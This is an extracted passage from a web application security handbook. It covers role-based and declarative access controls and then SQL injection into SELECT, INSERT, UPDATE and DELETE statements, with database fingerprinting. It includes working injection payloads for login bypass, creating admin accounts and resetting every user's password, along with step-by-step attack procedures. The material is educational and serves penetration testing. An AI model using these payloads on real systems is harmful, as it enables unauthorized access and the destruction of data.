Role-based access control (RBAC) — Named roles contain different sets of specifi c privileges, and each user is assigned to one of these roles. This serves as a shortcut for assigning and enforcing different privileges and is necessary to help manage access control in complex applications. Using roles to perform up-front access checks on user requests enables many unauthorized requests to be quickly rejected with a minimum amount of processing being performed. An example of this approach is protecting the URL paths that specifi c types of users may access. When designing role-based access control mechanisms, you must balance the number of roles so that they remain a useful tool to help manage privi- leges within the application. If too many fi ne-grained roles are created, the number of different roles becomes unwieldy, and they are diffi cult to manage accurately. If too few roles are created, the resulting roles will be a coarse instrument for managing access. It is likely that individual users will be assigned privileges that are not strictly necessary to perform their function. If platform-level controls are used to restrict access to different application roles based on HTTP method and URL, these should be designed using a default-deny model, as is best practice for fi rewall rules. This should include various specifi c rules that assign certain HTTP methods and URLs to certain roles, and the fi nal rule should deny any request that does not match a previous rule. Declarative control — The application uses restricted database accounts when accessing the database. It employs different accounts for different groups of users, with each account having the least level of privilege c08.indd 282c08.indd 282 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 283 Chapter 8 Attacking Access Controls 283 necessary to carry out the actions that group is permitted to perform. Declarative controls of this kind are declared from outside the applica- tion. This is a useful application of defense-in-depth principles, because privileges are imposed on the application by a different component. Even if a user fi nds a way to breach the access controls implemented within the application tier in order to perform a sensitive action, such as adding a new user, he is prevented from doing so. The database account that he is using does not have the required privileges within the database. A different means of applying declarative access control exists at the application server level, via deployment descriptor fi les, which are applied during application deployment. However, these can be relatively blunt instruments and do not always scale well to manage fi ne-grained privi- leges in a large application. HACK STEPS If you are attacking an application that employs a multilayered privilege model of this kind, it is likely that many of the most obvious mistakes that are commonly made in applying access controls will be defended against. You may fi nd that circumventing the controls implemented within the application does not get you very far, because of protection in place at other layers. With this in mind, several potential lines of attack are still available to you. Most importantly, understanding the limitations of each type of control, in terms of the protection it does not offer, will help you identify the vulnerabilities that are most likely to affect it: Programmatic checks within the application layer may be susceptible to injection-based attacks. Roles defi ned at the application server layer are often coarsely defi ned and may be incomplete. Where application components run using low-privileged operating sys- tem accounts, typically they can read many kinds of potentially sensitive data within the host fi le system. Any vulnerabilities granting arbitrary fi le access may still be usefully exploited, even if only to read sensitive data. Vulnerabilities within the application server software itself typically enable you to defeat all access controls implemented within the appli- cation layer, but you may still have limited access to the database and operating system. A single exploitable access control vulnerability in the right location may still provide a starting point for serious privilege escalation. For example, if you discover a way to modify the role associated with your account, you may fi nd that logging in again with that account gives you enhanced access at both the application and database layers. c08.indd 283c08.indd 283 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 284 284 Chapter 8 Attacking Access Controls Summary Access control defects can manifest themselves in various ways. In some cases, they may be uninteresting, allowing illegitimate access to a harmless function that cannot be leveraged to escalate privileges any further. In other cases, fi nd- ing a weakness in access controls can quickly lead to a complete compromise of the application. Flaws in access control can arise from various sources. A poor application design may make it diffi cult or impossible to check for unauthorized access, a simple oversight may leave only one or two functions unprotected, or defective assumptions about how users will behave can leave the application undefended when those assumptions are violated. In many cases, fi nding a break in access controls is almost trivial. You simply request a common administrative URL and gain direct access to the functional- ity. In other cases, it may be very hard, and subtle defects may lurk deep within application logic, particularly in complex, high-security applications. The most important lesson when attacking access controls is to look everywhere. If you are struggling to make progress, be patient, and test every step of every applica- tion function. A bug that allows you to own the entire application may be just around the corner. Questions Answers can be found at http://mdsec.net/wahh. 1. An application may use the HTTP Referer header to control access without any overt indication of this in its normal behavior. How can you test for this weakness? 2. You log in to an application and are redirected to the following URL: https://wahh-app.com/MyAccount.php?uid=1241126841 The application appears to be passing a user identifi er to the MyAccount.php page. The only identifi er you are aware of is your own. How can you test whether the application is using this parameter to enforce access controls in an unsafe way? 3. A web application on the Internet enforces access controls by examining users’ source IP addresses. Why is this behavior potentially fl awed? c08.indd 284c08.indd 284 8/19/2011 12:08:34 PM8/19/2011 12:08:34 PMStuttard c08.indd V3 - 07/28/2011 Page 285 Chapter 8 Attacking Access Controls 285 4. An application’s sole purpose is to provide a searchable repository of information for use by members of the public. There are no authentica- tion or session-handling mechanisms. What access controls should be implemented within the application? 5. When browsing an application, you encounter several sensitive resources that need to be protected from unauthorized access and that have the .xls fi le extension. Why should these immediately catch your attention? c08.indd 285c08.indd 285 8/19/2011 12:08:35 PM8/19/2011 12:08:35 PMStuttard c08.indd V1 - 07/04/2011 Page 286 c08.indd 286c08.indd 286 8/19/2011 12:08:35 PM8/19/2011 12:08:35 PMStuttard c09.indd V3 - 07/28/2011 Page 287 287 CHAPTER 9 Attacking Data Stores Nearly all applications rely on a data store to manage data that is processed within the application. In many cases this data drives the core application logic, holding user accounts, permissions, application confi guration settings, and more. Data stores have evolved to become signifi cantly more than passive containers for data. Most hold data in a structured format, accessed using a predefi ned query format or language, and contain internal logic to help manage that data. Typically, applications use a common privilege level for all types of access to the data store and when processing data belonging to different application users. If an attacker can interfere with the application’s interaction with the data store, to make it retrieve or modify different data, he can usually bypass any controls over data access that are imposed at the application layer. The principle just described can be applied to any kind of data store tech- nology. Because this is a practical handbook, we will focus on the knowledge and techniques you need to exploit the vulnerabilities that exist in real-world applications. By far the most common data stores are SQL databases, XML- based repositories, and LDAP directories. Practical examples seen elsewhere are also covered. In covering these key examples, we will describe the practical steps that you can take to identify and exploit these defects. There is a conceptual synergy in the process of understanding each new type of injection. Having grasped the essentials of exploiting these manifestations of the fl aw, you should be confi dent that you can draw on this understanding when you encounter a new category c09.indd 287c09.indd 287 8/19/2011 12:09:28 PM8/19/2011 12:09:28 PMStuttard c09.indd V3 - 07/28/2011 Page 288 288 Chapter 9 Attacking Data Stores of injection. Indeed, you should be able to devise additional means of attacking those that others have already studied. Injecting into Interpreted Contexts An interpreted language is one whose execution involves a runtime component that interprets the language’s code and carries out the instructions it contains. In contrast, a compiled language is one whose code is converted into machine instructions at the time of generation. At runtime, these instructions are executed directly by the processor of the computer that is running it. In principle, any language can be implemented using either an interpreter or a compiler, and the distinction is not an inherent property of the language itself. Nevertheless, most languages normally are implemented in only one of these two ways, and many of the core languages used to develop web applications are implemented using an interpreter, including SQL, LDAP, Perl, and PHP. Because of how interpreted languages are executed, a family of vulnerabilities known as code injection arises. In any useful application, user-supplied data is received, manipulated, and acted on. Therefore, the code that the interpreter processes is a mix of the instructions written by the programmer and the data supplied by the user. In some situations, an attacker can supply crafted input that breaks out of the data context, usually by supplying some syntax that has a special signifi cance within the grammar of the interpreted language being used. The result is that part of this input gets interpreted as program instruc- tions, which are executed in the same way as if they had been written by the original programmer. Often, therefore, a successful attack fully compromises the component of the application that is being targeted. In native compiled languages, on the other hand, attacks designed to execute arbitrary commands are usually very different. The method of injecting code normally does not leverage any syntactic feature of the language used to develop the target program, and the injected payload usually contains machine code rather than instructions written in that language. See Chapter 16 for details of common attacks against native compiled software. Bypassing a Login The process by which an application accesses a data store usually is the same, regardless of whether that access was triggered by the actions of an unprivi- leged user or an application administrator. The web application functions as a discretionary access control to the data store, constructing queries to retrieve, add, or modify data in the data store based on the user’s account and type. A successful injection attack that modifi es a query (and not merely the data c09.indd 288c09.indd 288 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 289 Chapter 9 Attacking Data Stores 289 within the query) can bypass the application’s discretionary access controls and gain unauthorized access. If security-sensitive application logic is controlled by the results of a query, an attacker can potentially modify the query to alter the application’s logic. Let’s look at a typical example where a back-end data store is queried for records in a user table that match the credentials that a user supplied. Many applications that implement a forms-based login function use a database to store user cre- dentials and perform a simple SQL query to validate each login attempt. Here is a typical example: SELECT * FROM users WHERE username = ‘marcus’ and password = ‘secret’ This query causes the database to check every row within the users table and extract each record where the username column has the value marcus and the password column has the value secret. If a user’s details are returned to the application, the login attempt is successful, and the application creates an authenticated session for that user. In this situation, an attacker can inject into either the username or the password fi eld to modify the query performed by the application and thereby subvert its logic. For example, if an attacker knows that the username of the application administrator is admin, he can log in as that user by supplying any password and the following username: admin’-- This causes the application to perform the following query: SELECT * FROM users WHERE username = ‘admin’--’ AND password = ‘foo’ Note that the comment sequence (--) causes the remainder of the query to be ignored, and so the query executed is equivalent to: SELECT * FROM users WHERE username = ‘admin’ so the password check is bypassed. TRY IT! http://mdsec.net/auth/319/ Suppose that the attacker does not know the administrator’s username. In most applications, the fi rst account in the database is an administrative user, because this account normally is created manually and then is used to generate c09.indd 289c09.indd 289 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 290 290 Chapter 9 Attacking Data Stores all other accounts via the application. Furthermore, if the query returns the details for more than one user, most applications will simply process the fi rst user whose details are returned. An attacker can often exploit this behavior to log in as the fi rst user in the database by supplying the username: ‘ OR 1=1-- This causes the application to perform the query: SELECT * FROM users WHERE username = ‘’ OR 1=1--’ AND password = ‘foo’ Because of the comment symbol, this is equivalent to: SELECT * FROM users WHERE username = ‘’ OR 1=1 which returns the details of all application users. NOTE Injecting into an interpreted context to alter application logic is a generic attack technique. A corresponding vulnerability could arise in LDAP queries, XPath queries, message queue implementations, or indeed any custom query language. HACK STEPS Injection into interpreted languages is a broad topic, encompassing many different kinds of vulnerabilities and potentially affecting every component of a web application’s supporting infrastructure. The detailed steps for detecting and exploiting code injection fl aws depend on the language that is being targeted and the programming techniques employed by the application’s developers. In every instance, however, the generic approach is as follows: 1. Supply unexpected syntax that may cause problems within the context of the particular interpreted language. 2. Identify any anomalies in the application’s response that may indicate the presence of a code injection vulnerability. 3. If any error messages are received, examine these to obtain evidence about the problem that occurred on the server. 4. If necessary, systematically modify your initial input in relevant ways in an attempt to confirm or disprove your tentative diagnosis of a vulnerability. 5. Construct a proof-of-concept test that causes a safe command to be executed in a verifiable way, to conclusively prove that an exploitable code injection flaw exists. 6. Exploit the vulnerability by leveraging the functionality of the target language and component to achieve your objectives. c09.indd 290c09.indd 290 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 291 Chapter 9 Attacking Data Stores 291 Injecting into SQL Almost every web application employs a database to store the various kinds of information it needs to operate. For example, a web application deployed by an online retailer might use a database to store the following information: User accounts, credentials, and personal information Descriptions and prices of goods for sale Orders, account statements, and payment details The privileges of each user within the application The means of accessing information within the database is Structured Query Language (SQL). SQL can be used to read, update, add, and delete information held within the database. SQL is an interpreted language, and web applications commonly construct SQL statements that incorporate user-supplied data. If this is done in an unsafe way, the application may be vulnerable to SQL injection. This fl aw is one of the most notorious vulnerabilities to have affl icted web applications. In the most serious cases, SQL injection can enable an anonymous attacker to read and modify all data stored within the database, and even take full control of the server on which the database is running. As awareness of web application security has evolved, SQL injection vulner- abilities have become gradually less widespread and more diffi cult to detect and exploit. Many modern applications avoid SQL injection by employing APIs that, if properly used, are inherently safe against SQL injection attacks. In these circumstances, SQL injection typically occurs in the occasional cases where these defense mechanisms cannot be applied. Finding SQL injection is sometimes a diffi cult task, requiring perseverance to locate the one or two instances in an application where the usual controls have not been applied. As this trend has developed, methods for fi nding and exploiting SQL injection fl aws have evolved, using more subtle indicators of vulnerabilities, and more refi ned and powerful exploitation techniques. We will begin by examining the most basic cases and then go on to describe the latest techniques for blind detection and exploitation. A wide range of databases are employed to support web applications. Although the fundamentals of SQL injection are common to the vast majority of these, there are many differences. These range from minor variations in syntax to signifi cant divergences in behavior and functionality that can affect the types of attacks you can pursue. For reasons of space and sanity, we will restrict our examples to the three most common databases you are likely to encounter — Oracle, MS-SQL, and MySQL. Wherever applicable, we will draw attention to the differences between these three platforms. Equipped with the techniques we describe here, c09.indd 291c09.indd 291 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 292 292 Chapter 9 Attacking Data Stores you should be able to identify and exploit SQL injection fl aws against any other database by performing some quick additional research. TIP In many situations, you will fi nd it extremely useful to have access to a local installation of the same database that is being used by the applica- tion you are targeting. You will often fi nd that you need to tweak a piece of syntax, or consult a built-in table or function, to achieve your objectives. The responses you receive from the target application will often be incomplete or cryptic, requiring some detective work to understand. All of this is much easier if you can cross-reference with a fully transparent working version of the database in question. If this is not feasible, a good alternative is to fi nd a suitable interactive online environment that you can experiment on, such as the interactive tutori- als at SQLzoo.net. Exploiting a Basic Vulnerability Consider a web application deployed by a book retailer that enables users to search for products by author, title, publisher, and so on. The entire book catalog is held within a database, and the application uses SQL queries to retrieve details of different books based on the search terms supplied by users. When a user searches for all books published by Wiley, the application per- forms the following query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ and published=1 This query causes the database to check every row within the books table, extract each of the records where the publisher column has the value Wiley and published has the value 1, and return the set of all these records. The application then processes this record set and presents it to the user within an HTML page. In this query, the words to the left of the equals sign are SQL keywords and the names of tables and columns within the database. This portion of the query was constructed by the programmer when the application was created. The expression Wiley is supplied by the user, and its signifi cance is as an item of data. String data in SQL queries must be encapsulated within single quotation marks to separate it from the rest of the query. Now, consider what happens when a user searches for all books published by O’Reilly. This causes the application to perform the following query: SELECT author,title,year FROM books WHERE publisher = ‘O’Reilly’ and published=1 c09.indd 292c09.indd 292 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 293 Chapter 9 Attacking Data Stores 293 In this case, the query interpreter reaches the string data in the same way as before. It parses this data, which is encapsulated within single quotation marks, and obtains the value O. It then encounters the expression Reilly’, which is not valid SQL syntax, and therefore generates an error: Incorrect syntax near ‘Reilly’. Server: Msg 105, Level 15, State 1, Line 1 Unclosed quotation mark before the character string ‘ When an application behaves in this way, it is wide open to SQL injection. An attacker can supply input containing a quotation mark to terminate the string he controls. Then he can write arbitrary SQL to modify the query that the developer intended the application to execute. In this situation, for example, the attacker can modify the query to return every book in the retailer’s catalog by entering this search term: Wiley’ OR 1=1-- This causes the application to perform the following query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ OR 1=1--’ and published=1 This modifi es the WHERE clause of the developer’s query to add a second condition. The database checks every row in the books table and extracts each record where the publisher column has the value Wiley or where 1 is equal to 1. Because 1 always equals 1, the database returns every record in the books table. The double hyphen in the attacker’s input is a meaningful expression in SQL that tells the query interpreter that the remainder of the line is a comment and should be ignored. This trick is extremely useful in some SQL injection attacks, because it enables you to ignore the remainder of the query created by the application developer. In the example, the application encapsulates the user- supplied string in single quotation marks. Because the attacker has terminated the string he controls and injected some additional SQL, he needs to handle the trailing quotation mark to avoid a syntax error, as in the O’Reilly example. He achieves this by adding a double hyphen, causing the remainder of the query to be treated as a comment. In MySQL, you need to include a space after the double hyphen, or use a hash character to specify a comment. The original query also controlled access to only published books, because it specifi ed and published=1. By injecting the comment sequence, the attacker has gained unauthorized access by returning details of all books, published or otherwise. c09.indd 293c09.indd 293 8/19/2011 12:09:29 PM8/19/2011 12:09:29 PMStuttard c09.indd V3 - 07/28/2011 Page 294 294 Chapter 9 Attacking Data Stores TIP In some situations, an alternative way to handle the trailing quotation mark without using the comment symbol is to “balance the quotes.” You fi n- ish the injected input with an item of string data that requires a trailing quote to encapsulate it. For example, entering the search term: Wiley’ OR ‘a’ = ‘a results in the query: SELECT author,title,year FROM books WHERE publisher = ‘Wiley’ OR ‘a’=’a’ and published=1 This is perfectly valid and achieves the same result as the 1 = 1 attack to return all books published by Wiley, regardless of whether they have been published. This example shows how application logic can be bypassed, allowing an access control fl aw in which the attacker can view all books, not just books match- ing the allowed fi lter (showing published books). However, we will describe shortly how SQL injection fl aws like this can be used to extract arbitrary data from different database tables and to escalate privileges within the database and the database server. For this reason, any SQL injection vulnerability should be regarded as extremely serious, regardless of its precise context within the application’s functionality. Injecting into Different Statement Types The SQL language contains a number of verbs that may appear at the beginning of statements. Because it is the most commonly used verb, the majority of SQL injection vulnerabilities arise within SELECT statements. Indeed, discussions about SQL injection often give the impression that the vulnerability occurs only in connection with SELECT statements, because the examples used are all of this type. However, SQL injection fl aws can exist within any type of statement. You need to be aware of some important considerations in relation to each. Of course, when you are interacting with a remote application, it usually is not possible to know in advance what type of statement a given item of user input will be processed by. However, you can usually make an educated guess based on the type of application function you are dealing with. The most com- mon types of SQL statements and their uses are described here. SELECT Statements SELECT statements are used to retrieve information from the database. They are frequently employed in functions where the application returns information in response to user actions, such as browsing a product catalog, viewing a user’s c09.indd 294c09.indd 294 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 295 Chapter 9 Attacking Data Stores 295 profi le, or performing a search. They are also often used in login functions where user-supplied information is checked against data retrieved from a database. As in the previous examples, the entry point for SQL injection attacks normally is the query’s WHERE clause. User-supplied items are passed to the database to control the scope of the query’s results. Because the WHERE clause is usually the fi nal component of a SELECT statement, this enables the attacker to use the com- ment symbol to truncate the query to the end of his input without invalidating the syntax of the overall query. Occasionally, SQL injection vulnerabilities occur that affect other parts of the SELECT query, such as the ORDER BY clause or the names of tables and columns. TRY IT! http://mdsec.net/addressbook/32/ INSERT Statements INSERT statements are used to create a new row of data within a table. They are commonly used when an application adds a new entry to an audit log, creates a new user account, or generates a new order. For example, an application may allow users to self-register, specifying their own username and password, and may then insert the details into the users table with the following statement: INSERT INTO users (username, password, ID, privs) VALUES (‘daf’, ‘secret’, 2248, 1) If the username or password fi eld is vulnerable to SQL injection, an attacker can insert arbitrary data into the table, including his own values for ID and privs. However, to do so he must ensure that the remainder of the VALUES clause is completed gracefully. In particular, it must contain the correct number of data items of the correct types. For example, injecting into the username fi eld, the attacker can supply the following: foo’, ‘bar’, 9999, 0)-- This creates an account with an ID of 9999 and privs of 0. Assuming that the privs fi eld is used to determine account privileges, this may enable the attacker to create an administrative user. In some situations, when working completely blind, injecting into an INSERT statement may enable an attacker to extract string data from the application. For example, the attacker could grab the version string of the database and insert this into a fi eld within his own user profi le, which can be displayed back to his browser in the normal way. c09.indd 295c09.indd 295 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 296 296 Chapter 9 Attacking Data Stores TIP When attempting to inject into an INSERT statement, you may not know in advance how many parameters are required, or what their types are. In the preceding situation, you can keep adding fi elds to the VALUES clause until the desired user account is actually created. For example, when injecting into the username fi eld, you could submit the following: foo’)-- foo’, 1)-- foo’, 1, 1)-- foo’, 1, 1, 1)-- Because most databases implicitly cast an integer to a string, an integer value can be used at each position. In this case the result is an account with a username of foo and a password of 1, regardless of which order the other fi elds are in. If you fi nd that the value 1 is still rejected, you can try the value 2000, which many databases also implicitly cast to date-based data types. When you have determined the correct number of fi elds following the injec- tion point, on MS-SQL you can add a second arbitrary query and use one of the inference-based techniques described later in this chapter. In Oracle, a subselect query can be issued within an insert query. This subselect query can cause a success or failure of the main query, using the inference-based techniques described later. TRY IT! http://mdsec.net/addressbook/12/ UPDATE Statements UPDATE statements are used to modify one or more existing rows of data within a table. They are often used in functions where a user changes the value of data that already exists — for example, updating her contact information, changing her password, or changing the quantity on a line of an order. A typical UPDATE statement works much like an INSERT statement, except that it usually contains a WHERE clause to tell the database which rows of the table to update. For example, when a user changes her password, the application might perform the following query: UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’ and password = ‘secret’ This query in effect verifi es whether the user’s existing password is correct and, if so, updates it with the new value. If the function is vulnerable to SQL c09.indd 296c09.indd 296 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 297 Chapter 9 Attacking Data Stores 297 injection, an attacker can bypass the existing password check and update the password of the admin user by entering the following username: admin’-- NOTE Probing for SQL injection vulnerabilities in a remote application is always potentially dangerous, because you have no way of knowing in advance quite what action the application will perform using your crafted input. In particular, modifying the WHERE clause in an UPDATE statement can cause changes to be made throughout a critical table of the database. For example, if the attack just described had instead supplied the username: admin’ or 1=1-- this would cause the application to execute the query: UPDATE users SET password=’newsecret’ WHERE user = ‘admin’ or 1=1 This resets the value of every user’s password, because 1 always equals 1! Be aware that this risk exists even when you attack an application func- tion that does not appear to update any existing data, such as the main login. There have been cases where, following a successful login, the application performs various UPDATE queries using the supplied username. This means that any attack on the WHERE clause may be replicated in these other state- ments, potentially wreaking havoc within the profi les of all application users. You should ensure that the application owner accepts these unavoidable risks before attempting to probe for or exploit any SQL injection fl aws. You should also strongly encourage the owner to perform a full database backup before you begin testing. TRY IT! http://mdsec.net/addressbook/27/ DELETE Statements DELETE statements are used to delete one or more rows of data within a table, such as when users remove an item from their shopping basket or delete a delivery address from their personal details. As with UPDATE statements, a WHERE clause normally is used to tell the data- base which rows of the table to update. User-supplied data is most likely to be incorporated into this clause. Subverting the intended WHERE clause can have c09.indd 297c09.indd 297 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 298 298 Chapter 9 Attacking Data Stores far-reaching effects, so the same caution described for UPDATE statements applies to this attack. Finding SQL Injection Bugs In the most obvious cases, a SQL injection fl aw may be discovered and conclu- sively verifi ed by supplying a single item of unexpected input to the application. In other cases, bugs may be extremely subtle and may be diffi cult to distinguish from other categories of vulnerability or from benign anomalies that do not present a security threat. Nevertheless, you can carry out various steps in an ordered way to reliably verify the majority of SQL injection fl aws. NOTE In your application mapping exercises (see Chapter 4), you should have identifi ed instances where the application appears to be accessing a back-end database. All of these need to be probed for SQL injection fl aws. In fact, abso- lutely any item of data submitted to the server may be passed to database functions in ways that are not evident from the user’s perspective and may be handled in an unsafe manner. Therefore, you need to probe every such item for SQL injection vulnerabilities. This includes all URL parameters, cookies, items of POST data, and HTTP headers. In all cases, a vulnerability may exist in the handling of both the name and value of the relevant parameter. TIP When you are probing for SQL injection vulnerabilities, be sure to walk through to completion any multistage processes in which you submit crafted input. Applications frequently gather a collection of data across several requests, and they persist this to the database only after the complete set has been gathered. In this situation, you will miss many SQL injection vulnerabili- ties if you only submit crafted data within each individual request and monitor the application’s response to that request. Injecting into String Data When user-supplied string data is incorporated into a SQL query, it is encap- sulated within single quotation marks. To exploit any SQL injection fl aw, you need to break out of these quotation marks. HACK STEPS 1. Submit a single quotation mark as the item of data you are targeting. Observe whether an error occurs, or whether the result differs from the original in any other way. If a detailed database error message is received, consult the “SQL Syntax and Error Reference” section of this chapter to understand its meaning. c09.indd 298c09.indd 298 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 299 Chapter 9 Attacking Data Stores 299 2. If an error or other divergent behavior was observed, submit two single quotation marks together. Databases use two single quotation marks as an escape sequence to represent a literal single quote, so the sequence is interpreted as data within the quoted string rather than the closing string terminator. If this input causes the error or anomalous behavior to disap- pear, the application is probably vulnerable to SQL injection. 3. As a further verification that a bug is present, you can use SQL concat- enator characters to construct a string that is equivalent to some benign input. If the application handles your crafted input in the same way as it does the corresponding benign input, it is likely to be vulnerable. Each type of database uses different methods for string concatenation. The following examples can be injected to construct input that is equivalent to FOO in a vulnerable application: Oracle: ‘||’FOO MS-SQL: ‘+’FOO MySQL: ‘ ‘FOO (note the space between the two quotes) TIP One way of confi rming that the application is interacting with a back- end database is to submit the SQL wildcard character % in a given parameter. For example, submitting this in a search fi eld often returns a large number of results, indicating that the input is being passed into a SQL query. Of course, this does not necessarily indicate that the application is vulnerable — only that you should probe further to identify any actual fl aws. TIP While looking for SQL injection using a single quote, keep an eye out for any JavaScript errors occurring when your browser processes the returned page. It is fairly common for user-supplied input to be returned within JavaScript, and an unsanitized single quote will cause an error in the JavaScript interpreter, just as it does in the SQL interpreter. The ability to inject arbitrary JavaScript into responses allows cross-site scripting attacks, as described in Chapter 12. Injecting into Numeric Data When user-supplied numeric data is incorporated into a SQL query, the applica- tion may still handle this as string data by encapsulating it within single quotation marks. Therefore, you should always follow the steps described previously for string data. In most cases, however, numeric data is passed directly to the database in numeric form and therefore is not placed within single quotation marks. If none of the previous tests points toward the presence of a vulnerability, you can take some other specifi c steps in relation to numeric data. c09.indd 299c09.indd 299 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 300 300 Chapter 9 Attacking Data Stores HACK STEPS 1. Try supplying a simple mathematical expression that is equivalent to the original numeric value. For example, if the original value is 2, try submit- ting 1+1 or 3-1. If the application responds in the same way, it may be vulnerable. 2. The preceding test is most reliable in cases where you have confirmed that the item being modified has a noticeable effect on the applica- tion’s behavior. For example, if the application uses a numeric PageID parameter to specify which content should be returned, substituting 1+1 for 2 with equivalent results is a good sign that SQL injection is present. However, if you can place arbitrary input into a numeric parameter with- out changing the application’s behavior, the preceding test provides no evidence of a vulnerability. 3. If the first test is successful, you can obtain further evidence of the vulnera- bility by using more complicated expressions that use SQL-specific keywords and syntax. A good example of this is the ASCII command, which returns the numeric ASCII code of the supplied character. For example, because the ASCII value of A is 65, the following expression is equivalent to 2 in SQL: 67-ASCII(‘A’) 4. The preceding test will not work if single quotes are being filtered. However, in this situation you can exploit the fact that databases implic- itly convert numeric data to string data where required. Hence, because the ASCII value of the character 1 is 49, the following expression is equiv- alent to 2 in SQL: 51-ASCII(1) TIP A common mistake when probing an application for defects such as SQL injection is to forget that certain characters have special meaning within HTTP requests. If you want to include these characters within your attack payloads, you must be careful to URL-encode them to ensure that they are interpreted in the way you intend. In particular: & and = are used to join name/value pairs to create the query string and the block of POST data. You should encode them using %26 and %3d, respectively. Literal spaces are not allowed in the query string. If they are submitted, they will effectively terminate the entire string. You should encode them using + or %20. Because + is used to encode spaces, if you want to include an actual + in your string, you must encode it using %2b. In the previous numeric example, therefore, 1+1 should be submitted as 1%2b1. c09.indd 300c09.indd 300 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 301 Chapter 9 Attacking Data Stores 301 The semicolon is used to separate cookie fi elds and should be encoded using %3b. These encodings are necessary whether you are editing the parameter’s value directly from your browser, with an intercepting proxy, or through any other means. If you fail to encode problem characters correctly, you may inval- idate the entire request or submit data you did not intend to. The steps just described generally are suffi cient to identify the majority of SQL injection vulnerabilities, including many of those where no useful results or error information are transmitted back to the browser. In some cases, however, more advanced techniques may be necessary, such as the use of time delays to confi rm the presence of a vulnerability. We will describe these techniques later in this chapter. Injecting into the Query Structure If user-supplied data is being inserted into the structure of the SQL query itself, rather than an item of data within the query, exploiting SQL injection simply involves directly supplying valid SQL syntax. No “escaping” is required to break out of any data context. The most common injection point within the SQL query structure is within an ORDER BY clause. The ORDER BY keyword takes a column name or number and orders the result set according to the values in that column. This functionality is frequently exposed to the user to allow sorting of a table within the browser. A typical example is a sortable table of books that is retrieved using this query: SELECT author, title, year FROM books WHERE publisher = ‘Wiley’ ORDER BY title ASC If the column name title in the ORDER BY is specifi ed by the user, it is not necessary to use a single quote. The user-supplied data already directly modi- fi es the structure of the SQL query. TIP In some rarer cases, user-supplied input may specify a column name within a WHERE clause. Because these are also not encapsulated in single quotes, a similar issue occurs. The authors have also encountered applications where the table name has been a user-supplied parameter. Finally, a surpris- ing number of applications expose the sort order keyword (ASC or DESC) to be specifi ed by the user, perhaps believing that this has no consequence for SQL injection attacks. Finding SQL injection in a column name can be diffi cult. If a value is sup- plied that is not a valid column name, the query results in an error. This means that the response will be the same regardless of whether the attacker submits a c09.indd 301c09.indd 301 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 302 302 Chapter 9 Attacking Data Stores path traversal string, single quote, double quote, or any other arbitrary string. Therefore, common techniques for both automated fuzzing and manual testing are liable to overlook the vulnerability. The standard test strings for numerous kinds of vulnerabilities will all cause the same response, which may not itself disclose the nature of the error. NOTE Some conventional SQL injection defenses described later in this chapter cannot be implemented for user-specifi ed column names. Using prepared statements or escaping single quotes will not prevent this type of SQL injection. As a result, this vector is a key one to look out for in modern applications. HACK STEPS 1. Make a note of any parameters that appear to control the order or field types within the results that the application returns. 2. Make a series of requests supplying a numeric value in the parameter value, starting with the number 1 and incrementing it with each subse- quent request: If changing the number in the input affects the ordering of the results, the input is probably being inserted into an ORDER BY clause. In SQL, ORDER BY 1 orders by the fi rst column. Increasing this number to 2 should then change the display order of data to order by the second column. If the number supplied is greater than the number of columns in the result set, the query should fail. In this situation, you can confi rm that further SQL can be injected by checking whether the results order can be reversed, using the following: 1 ASC -- 1 DESC -- If supplying the number 1 causes a set of results with a column contain- ing a 1 in every row, the input is probably being inserted into the name of a column being returned by the query. For example: SELECT 1,title,year FROM books WHERE publisher=’Wiley’ NOTE Exploiting SQL injection in an ORDER BY clause is signifi cantly differ- ent from most other cases. A database will not accept a UNION, WHERE, OR, or AND keyword at this point in the query. Generally exploitation requires the attacker to specify a nested query in place of the parameter, such as replac- ing the column name with (select 1 where <> or 1/0=0), thereby leveraging the inference techniques described later in this chapter. For databases that support batched queries such as MS-SQL, this can be the most effi cient option. c09.indd 302c09.indd 302 8/19/2011 12:09:30 PM8/19/2011 12:09:30 PMStuttard c09.indd V3 - 07/28/2011 Page 303 Chapter 9 Attacking Data Stores 303 Fingerprinting the Database Most of the techniques described so far are effective against all the common database platforms, and any divergences have been accommodated through minor adjustments to syntax. However, as we begin to look at more advanced exploitation techniques, the differences between platforms become more signifi - cant, and you will increasingly need to know which type of back-end database you are dealing with. You have already seen how you can extract the version string of the major database types. Even if this cannot be done for some reason, it is usually pos- sible to fi ngerprint the database using other methods. One of the most reliable is the different means by which databases concatenate strings. In a query where you control some item of string data, you can supply a particular value in one request and then test different methods of concatenation to produce that string. When the same results are obtained, you have probably identifi ed the type of database being used. The following examples show how the string services could be constructed on the common types of database: Oracle: ‘serv’||’ices’ MS-SQL: ‘serv’+’ices’ MySQL: ‘serv’ ‘ices’ (note the space) If you are injecting into numeric data, the following attack strings can be used to fi ngerprint the database. Each of these items evaluates to 0 on the target database and generates an error on the other databases: Oracle: BITAND(1,1)-BITAND(1,1) MS-SQL: 